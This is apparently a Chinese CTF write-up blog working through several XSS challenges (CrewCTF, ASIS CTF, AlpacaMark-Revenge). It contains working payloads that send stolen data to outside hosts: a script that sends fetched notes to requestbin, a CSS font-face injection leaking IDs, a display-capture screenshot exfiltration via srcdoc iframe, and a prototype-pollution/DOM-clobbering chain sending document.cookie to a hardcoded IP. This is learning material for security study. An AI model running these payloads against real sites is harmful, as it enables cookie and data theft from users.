近期xss赛题复现

前言

发现自己攒了不少xss的题目没有去复现
能复现多少道就复现多少道吧
学练综合
贴一些学习的博客
https://ml-hacker.github.io/posts/%E6%8E%A2%E7%B4%A2xss%E5%AE%89%E5%85%A8day%E4%B8%89/
https://aszx87410.github.io/beyond-xss/ch3/css-injection/

CrewCTF

lovenote

这一道题关键点在于利用innerHTML进行xss,然后把这个post对于的id进行/report

1
2
3
4
5
6
7
8
9
10
11
12
const protectRoute = (req, res, next) => {
const token = req.cookies.token;
if (!token) return res.status(401).json({ message: 'No token, authorization denied' });

try {
const decoded = jwt.verify(token, jwtSecret);
req.user = decoded;
next();
} catch (error) {
res.status(401).json({ message: 'Invalid token' });
}
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
async function visit(ctx, email, password, noteId){
page = await ctx.newPage();

// login
await page.goto(HOSTNAME + '/login');
await page.waitForSelector('input[name=email]');
await page.type('input[name=email]', email);
await page.waitForSelector('input[name=password]');
await page.type('input[name=password]', password);
await page.waitForSelector('button[type=submit]');
await page.click('button[type=submit]')

// Review note
await sleep(2000);
try{
await page.goto(HOSTNAME + '/dashboard?reviewNote='+noteId);
} catch(error) {
console.log(error);
}
await sleep(2000);
try{page.close()} catch{};

}

我第一眼还以为这个鉴权还绕不过()
其实只是在验证token是否为正确的jwt,根本不会对应身份
即我们可以直接打了
这里有两个思路

思路一

这里可以进行HTML注入
由于CSP限制,我们可以打css注入,只要窃取当前admin页面的id即可

1
<button class="note-btn" id="8bbdeb31-16b5-46f8-bec0-7589be8557bb">report</button>

思路二

这里好像无base-url限制
简单<base href="https://vps.com/">
发现成立 /api/note指向了我们指定的地方
那么可以直接拿到flag的id
拿到id之后可以直接读了
先开vps
没了
才看到
connect-src 'self'
根本发不出去?这里留个标记
事实确实发不出去
网站里扫了一下CSP,但是并未爆红
还是得看思路一,进行html注入吗?
毕竟flag在页面,感觉还是像css呢()

开干

还是回到思路一了
简单试一下

1
2
3
4
5
6
<button class="note-btn" id="8bbdeb31-16b5-46f8-bec0-7589be8557bb">report</button>
<style>
button[class="note-btn"][id^="8bbdeb31"]{
background: url(https://example.com?q=8bbdeb31)
}
</style>

本地测试能窃取到
上题目试一下
不行

复现

https://medium.com/@mepwn/love-notes-web-crewctf-2025-57459ebf104c
瞟了一眼,我的思路全错来着()
实际我在测的时候也是发现CSP并不完全比如/api/note/xxxxxx页面是可以xss的
而我的关键点在于 我们能让bot访问的点仅仅是在js里进行的,而在这里会访问/api/note/xxxx页面获取内容然后放进innerHTML再渲染出来,而这里本身就可以触发一次xss
为什么不直接试一下呢?感觉自己无比蠢
先写入一个

1
<script>fetch('/api/notes/').then(r=>r.json()).then(d=>location='http://requestbin.cn:80/18io7xl1?data='+encodeURIComponent(JSON.stringify(d)))</script>

这里实现跳转,如果成功可以打印出/api/notes/页面的内容

再准备一个

1
<p><meta http-equiv="refresh" content="0;url=/api/notes/58fe209f-9f47-408a-9d79-c2cad042fa3c"></p>

这里是利用meta标签的refresh,刷新页面,然后访问/api/notes/58fe209f-9f47-408a-9d79-c2cad042fa3c页面,如果成功可以获取到flag
这里本地有些原因bot死了,这里直接登进admin去访问meta,确实回了flag

总结

收获一:mata重定向绕过

这里我们用了一个中介作为桥梁,避免了直接访问api,而是通过meta标签刷新页面,然后访问api获取内容,这样就实现了xss攻击
核心在于,meta重定向可以绕过CSP,而js可以触发xss攻击

1
HTML<meta>标签和 JavaScript 都可以重定向浏览器。HTML<meta>标签可以告知浏览器刷新网页,并向标签中的content属性定义的URL发起GET请求。
收获二:CSP限制绕过

我们知道。CSP主要限制渲染一个HTML页面,然而在/api/note/xxxx里返回的是json,CSP并不会限制纯api的响应

收获三:思路整理

connect-src 'self' → 这里不是说与外界通信阻断,而是只控制能否发起“程序化连接”,如fetch (只控制“脚本层面的网络连接”),而dashboard里用的就是这个,因此产生了页面全无的效果,这个阻止了外部连接,但是base-url没禁

重新看CSP发现img-src 'none' → 连本地图片都不让加载,更不可能外传。同理使用事件触发机制也不行,会被直接限制
frame-src 'none'让我们无法<iframe src="https://example.com"></iframe>
style-src http://127.0.0.1:8888/static/限制了<link href="/style.css" rel="stylesheet">的使用
熟悉CSP各项规则的影响
确实把这个CSP丢进检测网站,并无明显BUG

后记

最大的收获还是知道了可以用meta重定向,还是得积累一些其他html重定向方法,能不依赖js的
载入一些html重定向

1
2
3
4
5
6
7
<meta http-equiv="refresh" content="3;url=https://example.com">//才是真神
<a href="https://example.com">跳转</a>//需要进行点击
<iframe src="https://example.com"></iframe>//会嵌入一个小页面
...
<object data>
<embed src>
<link rel="stylesheet" href="/static">

hate-notes

这道题算是上面这道的升级版,看了一下好像没什么大的变化
但是最关键的是,这道题以及修补了那个js代码执行,因此需要我们继续我们之前的思路,比如CSS注入(),为什么?我们知道CSP只会在渲染HTML时候起作用,/api/notes 返回的 JSON 数据,CSP 通常没有影响,而我们看后端返回自己加了一个CSP请求头

1
Content-Security-Policy: default-src 'none'

即还是得利用innerHTML
也算没白分析,但是问题是,CSP相关限制

1
style-src ${HOSTNAME}/static/

但是发现

1
2
3
4
5
6
7
8
9
10
11
app.get('/static/*splat', (req, res) => {
const requestedPath = req.path;

if (!requestedPath.endsWith('.js') && !requestedPath.endsWith('.css')) {
return res.redirect(requestedPath.replaceAll('/static',''));
}

let file = req.path.slice(req.path.lastIndexOf('/')+1)
const filePath = path.join(__dirname, 'static', file);
res.sendFile(filePath);
});

正常用static开头发现不存在又会自动移除又一次请求,即我们找到了CSS的突破口
看网页源码说明可行

1
<link rel="stylesheet" href="/static/dashboard.css">

理论上我们试一下,应该会有一个发包/api/notes/xxxxx
但是
这里被限制了default-src 'none'
我们用/dashboard?reviewNoteId发现可行
而我们现在的目标是进行放置一个CSS注入脚本,然后使用
包含它即可,所以还是打双重?
这里双重的话确实可行能够加载这个CSS,但是实际攻击不是很方便,介绍下面这个
也可以直接回显noteid
举个例子
我们写入
* {color: red;}
再包含
<link rel="stylesheet" href="/static/api/notest/c6e24707-dbbc-4072-bad5-3b6808e87636">
成功加载CSS(这里用火狐失败了,换了个浏览器)

但是目前来讲,我还是很怀疑,是否可以成功发包出去毕竟img-src 'none'; connect-src 'self';
实际是成功了,为啥()
这里原来不止加载图片背景,也有字体只有font-src:none或者default-src:none时候才会禁止

比如

1
2
3
4
5
6
7
8
font-face{
font-family:winky0;
src:url('http://requestbin.cn:80/1il6uo71?src=0'); /* 追踪链接0 */
}
@font-face{
font-family:winky1;
src:url('http://requestbin.cn:80/1il6uo71?src=1'); /* 追踪链接1 */
}

定义了两种自定义字体

1
2
a[href^='/api/notes/0']{font-family:winky0;}
a[href^='/api/notes/1']{font-family:winky1;}

当浏览器匹配到对应时,会尝试加载对应的字体文件
这里做一个总结
font-src:none 禁止加载字体文件
img-src:none 禁止加载图片文件
style-src:http://127.0.0.1:8888/static/ 允许加载本地样式文件
如果某个专用指令不存在,浏览器会回退到 default-src
一切还是有迹可循的
根据

1
2
3
4
5
6
7
8
9
10
11
ch = string.digits + string.ascii_lowercase + '-'
payload = ""
# id = "71e455ef-10b7-435d-90a1-9d5a352fbed3"
id = ""
for i in ch:
t1 = f"""@font-face{{font-family:winky{i};src:url('http://requestbin.cn:80/1il6uo71?src={i}');}}"""
payload += t1

for i in ch:
t2 = f"""a[href^='/api/notes/{id + i}']{{font-family: winky{i};}}"""
payload += t2

生成的脚本直接可以爆一层,再丰富一下就可以连环爆至弄出token了~
这个时候就要手搓脚本了
但是弄Cookie的时候可能环境问题,没成功
手搓下 开干
成功~

总结

后续如何提高脚本效率等等就是后话了,能CSS注入了flag只是时间问题
这道题也是提高了CSS注入利用场景的认识,还是很好的
关于一些CSP绕过也是不错的
一般来讲除了<style>也可以直接用<link>加载css
多打一些题目开拓眼界了

professor-view-dist

简单分析

看了一下源码,bot的一些操作暂且放下,这里主要的着力点

1
const url = `http://localhost:1337/professor?student=${encodeURIComponent(student)}&complain=${encodeURIComponent(complain)}`

我们看看/professor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
app.get('/professor', (req, res) => {
const cookie = req.cookies['professor'];
if (cookie === BOT_COOKIE) {
res.send(`<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Professor Dashboard</title>
<link rel="stylesheet" href="/static/professor.css">
<link rel="stylesheet" href="/static/styles.css">
</head>
<body>
<div class="menu">
<img class="plusplusplus" width=64 src="/static/+++.png">
<ul>
<li><a href="/">Home</a></li>
<li><a href="/report">Report to Professor</a></li>
<li><a href="/ProfMeet">Office Hours Videoconference</a></li>
<li><a href="/syllabus">Syllabus</a></li>
</ul>
<div class="profile">
<img id="prof-icon" src="/static/imgs/${Math.random() < 0.5 ? "icon2.jpg" : "icon.webp"}">
</div>
</div>
<h1>Student Complain</h1>
<p>The student’s complaining again, as usual. They’re always complaining—just a bunch of assholes. They act like the world owes them something. Seriously, they’re just attention-seekers. Don’t forget what your mom used to say: <b><i>${FLAG}</i></b></p>
<div>
Student:
<p id="student"></p>
</div>
<div>
<p id="complain"></p>
</div>
</body>
<script src="/static/main.js"></script>
</html>`);
} else {
return res.status(400).send('Your are not admin!');
}
});

这里也确实只有bot才能进去进行一些交互
看看<script src="/static/main.js"></script>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
// Make markdown possible for students to be descriptive 
const escapeQuotes = (content) => {
return content
.replaceAll(`"`, '&quot;')
.replaceAll(`'`, '&#39;')
}

const escapeHtml = (content) => {
return content
.replaceAll('<', '&lt;')
.replaceAll('>', '&gt;');
}
const createImg = (match, altText, src) =>{
return `<img alt="${escapeQuotes(altText)}" src="${escapeQuotes(src)}"></img>`
}

const createLink = (match, href, text) =>{
return `<a href="${escapeQuotes(href)}">${escapeHtml(text)}</a>`
}

const referPage = (match, src) =>{
return `<iframe src="${escapeQuotes(src)}"></iframe>`
}

const strong = (match, strong) => {
return `<strong>${escapeHtml(strong)}</strong>`;
}

const markdown = (content) => {
// Prevent XSS
content = escapeHtml(content);
return content
.replace(/!\[([^]*?)\]\(([^]*?)\)/g, createImg)
.replace(/&\[([^]*?)\]\(([^]*?)\)/g, referPage)
.replace(/\[(.*?)\]\(([^]*?)\)/g, createLink)
.replace(/\*\*(.*?)\*\*/g, strong)
.replace(/ $/mg, `<br>`);
}


// Get and add complain
const urlParams = new URLSearchParams(window.location.search);
const student = urlParams.get('student');

if (student) {
document.getElementById('student').textContent = student;
} else {
document.getElementById('student').textContent = 'No student found in URL.';
}

const complain = urlParams.get('complain');
if (complain) {
document.getElementById('complain').innerHTML = markdown(complain);
} else {
document.getElementById('complain').textContent = 'No complaint found in URL.';
}
1
document.getElementById('complain').innerHTML = markdown(complain);

此处为关键,在此看到一些过滤,但是可以通过编码进行绕过
接下来关注两个点,一个是CSP,另一个是bot的一些行为

1
script-src 'self' https://js.hcaptcha.com/1/api.js; style-src 'self'; img-src 'self'; font-src 'none'; connect-src 'none'; media-src 'none'; object-src 'none'; prefetch-src 'none'; frame-ancestors 'none'; form-action 'self';

还是相当严苛的

简单看了下https://js.hcaptcha.com/1/api.js不太能进行JSONP

看看bot是否有转机

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
await page.setRequestInterception(true);//打开拦截开关  
ctx.on("targetcreated", async (target) => {
if (target.type() === "page") {
const newPage = await target.page();
await newPage.close(); // close immediately
}//防止一些弹窗
});
page.evaluateOnNewDocument(() => {
window.open = () => {};
});
page.on('request', request => {//如果这是主框架的导航请求,并且目标 URL 不是以 http://localhost:1337/ 开头,就中止它
let navigation = request.isNavigationRequest();
let url = request.url();
let frame = request.frame();
if(navigation && frame === page.mainFrame() && !url.startsWith('http://localhost:1337/')){
request.abort();
} else{
request.continue();
}
});

也无可利用的的地方
我们发现启动bot也有前提

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
try{
// HCaptcha check
const hCaptchaValidation = await axios.post('https://api.hcaptcha.com/siteverify',
{
secret: HCAPTCHA_SECRET,
response: hcaptchaResponse
},
{
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
}
}

);

if (!hCaptchaValidation.data.success) {
return res.status(400).send('hCaptcha verification failed.');
}

这里又该如何绕过HCaptcha-check呢?
先结合一下源码和该服务
得亏比赛环境还可以开
这个根本不是考点()
本地复现自己改一下绕过就行
直接设想能调用bot之后可以怎么打
虽然禁止了<style> 但是还是可以用<link>去打
找到类似上一道题的利用条件,即可进行CSS注入、HTML注入
关键点在于complain
如何绕过bot限制,如何绕过httponly,如何绕过CSP 现在是关键
假设打css,直接读flag,我们只能用<link>但是没有地方让我们传入post
img-src 'self'; font-src 'none'; connect-src 'none';更何况这里限制外传
也许哪个地方有CSP放过了?

复现

这道题没什么思路,但是大佬已经更新了WP,抓紧看了一下,能知道不少东西来了
这道题还是单开复现吧,东西有点多
总之,payload
&[a[srcdoc=&lt;iframe/src=&apos;https://ATTACKER.COM&apos;/allow=display-capture&gt; ](a)](a)
就可以把藏着flag的截图发到自己的服务器上
这边
ssh-keygen -t ed25519 -f ~/.ssh/localhostrun_ed25519 -N “”
ssh -v -i ~/.ssh/localhostrun_ed25519 -R 80:localhost:5000 ssh.localhost.run
成功建立,即可转发访问
大佬服务端搭建了一个接受截图的服务
我们再看一下,这个payload是怎么来的
我们要经过

1
2
3
const referPage = (match, src) =>{
return `<iframe src="${escapeQuotes(src)}"></iframe>`
}

因此我们写出这样的payload是为了

1
<iframe src="a" srcdoc="<iframe src='https://ATTACKER.COM' allow=display-capture>"></iframe>

转化成这样,至于尖括号等等用编码进行绕过即可
关键点:

  • srcdoc iframe是”headerless”的,不继承Permissions Policy
  • 内层iframe可以成功请求display-capture权限
  • 外层iframe有CSP保护,但内层没有这个限制
    而CSP是相当严格的,无法执行js也无法CSS泄露
    只能借助bot特性进行外带

总之:
属性注入 → 创建包含srcdoc的ifram
Headerless文档 → 绕过Permissions Policy限制
权限委托 → 内层iframe获得display-capture权限
屏幕捕获 → 自动共享包含flag的教授屏幕
https://github.com/AlbertoFDR/CTF/tree/main/created-challs/CrewCTF-2025/professors-view
https://albertofdr.github.io/post/crewctf-2025/

ASISCTF

前言

这个比赛四道xss,解都挺少,复现(知道比赛的时候块截至了)

pure-leak

分析

这道题看了看源码,css注入了()
首先我们要拿到token,而bot会把它放进TOKEN,正好我们的index.php会把这个TOKEN回显出来 出于比较严格的CSS,我们只能进行HTML注入与CSS注入
这个时候就可以配合拿到页面上的token
当然与此同时,我们需要注意一些本就存在WAF,比如长度限制,以及白名单[ 空格、ASCII可打印字符、回车、换行 ],还有黑名单
这个时候,就出现问题了,我们之前了解过CSS注入,基于属性选择器,无法抓取非属性目标
而要利用字体进行? 我需要补下课了,也许这正是白名单要求之处?

复现

官方WP:https://blog.arkark.dev/2025/09/08/asisctf-quals
这道题利用了很多xss注入里的知识点,复现学习一下吧
一眼下去基本概念都不认得

尝试

以上的思路感觉没问题了

SatoNate

学习

https://github.com/satoki/asis_ctf_quals_2025_satoki_writeups/blob/main/Web/SatoNote/solver/solver.py
https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique
https://blog.csdn.net/weixin_59166557/article/details/151875017?spm=1001.2014.3001.5502
https://xz.aliyun.com/news/19068

under-the-beamers-I

under-the-beamers-II

零碎

AlpacaMark-Revenge

https://alpacahack.com/challenges/alpaca-mark-revenge

关键字

  • Dom Clobbering
  • 原型链污染
  • ifame的进阶用法:credentialless

正文

自己花一些事件先做一遍,看看怎么个事
目前可以输入markdown,然后转为文本,当我们再点击render的时候,这个markdown文本就会被经过一系列处理,转化为markdown格式等等,并转为html属性回到页面上
但是有src处理,无法执行js,且不允许我们传入<script>
由于default:self导致我们也不能与外交互
目前只有这一处的功能点,然后就是让bot访问,窃取cookie
首先思考一下Dom Clobbering
那必然是在innerHTML上进行xss-clobbering
如何clobbering呢?
这里还有搭配原型链污染?
看一下处理innerHTML的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import "@picocss/pico";
import * as marked from "marked";

const markdown =
localStorage.getItem("markdown") ??
(await import("can-deparam").then(
({ default: deparam }) => deparam(location.search.slice(1)).markdown ?? ""
));
localStorage.setItem("markdown", markdown);
renderElm.addEventListener("submit", () => localStorage.removeItem("markdown"));
if (markdown) {
const elm = document.createElement("article");
elm.innerHTML = marked.parse(markdown).replaceAll(":alpaca:", "🦙");
previewElm.appendChild(elm);
}
const textarea = document.querySelector("textarea[name=markdown]");
textarea.rows = textarea.value.split("\n").length + 1;

在此之前,更重要的是在default:"none",我们如何让Self-XSS再次伟大呢?
这里引入credrntialless iframe
通过它,可以在无凭证上下文加载目标页面,但仍与普通iframe保持同源
这种嵌入框架的上下文无法访问与原始域名相关的数据,初衷在于限制iframe中的内容访问用户凭证
简单试两个test

1
2
<iframe src="https://example.com" width="40%" height="5000px" ></iframe>
<iframe src="https://example.com" width="40%" height="500px" credentialless></iframe>

欸,都不行,控制台都在强调iframe:self
再牢一牢
再回到client-js上面,发现使用了can-deparam
再了解它之前我们先学习https://github.com/jackfromeast/dom-clobbering-collection
看到很多的DOM Clobbering gadget
为什么要谈到这个呢?
着重看一下

1
2
3
4
5
const markdown =
localStorage.getItem("markdown") ??
(await import("can-deparam").then(
({ default: deparam }) => deparam(location.search.slice(1)).markdown ?? ""
));

这里存在动态导入的逻辑

1
2
3
4
这段代码的逻辑是:
首先尝试从 localStorage 获取 markdown 内容
如果不存在,才动态加载 can-deparam 库来解析 URL 参数
这样可以避免不必要的模块加载,优化性能

我们找到这么一条利用的地方

1
2
if (document.currentScript)
scriptUrl = document.currentScript.src;

而这一个地方,是可以被我们HTML注入覆盖掉的,即控制我们要导入的js
but,源码为了防止这个漏洞

1
2
if (document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT')
scriptUrl = document.currentScript.src;

而这个rspack版本正是version 1.3.9,必须经历这个
这里我们利用原型链污染

1
uses can-deparam. This library has a known Prototype Pollution vulnerability, which will be key to our exploit

https://github.com/BlackFan/client-side-prototype-pollution/blob/master/pp/canjs-deparam.md
这里相当于揭开了xss另一层面纱,不同的依赖,不同的打法

现在的问题看来是触发这个原型链污染,进而打clobbering,调用恶意js
但是localStorage.getItem("markdown")
这里我们要使用iframe下的Prototype Pollution,不是一般的iframe,而是带credentialless属性的iframe

最后的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
const CONNECTBACK_URL = "http://68.232.175.221:9090/dash.js";

const markdown = `
</textarea>
<iframe name=currentScript src="/?__proto__[tagName]=SCRIPT&__proto__[src]=data:,location='${CONNECTBACK_URL}/'%2bdocument.cookie//" credentialless></iframe>
<link rel=stylesheet href=/0>
<link rel=stylesheet href=/1>
<link rel=stylesheet href=/2>
<link rel=stylesheet href=/3>
<link rel=stylesheet href=/4>
<link rel=stylesheet href=/5>
<link rel=stylesheet href=/6>
<textarea>
`.trim();

const url = `http://127.0.0.1:3000?${new URLSearchParams({ markdown })}`;
console.log(url);
// Report this URL to the admin bot.

多个 <link rel=stylesheet>延迟,以便前面的执行完全
这里用</textarea>直接闭合
还有一些细节的地方没讲清楚
我们想要进入

1
await import("can-deparam")

必须先让为空,即必须在传入的同时点击submit
实际bot并无点击操作
即我们用一般的<fraim>是会延续localStorage,因此要用credentialless的iframe
至此收官
很精细~
这道题没有之前那么难懂(实则不然),整个的打法很值得学习

供应链攻击好玩~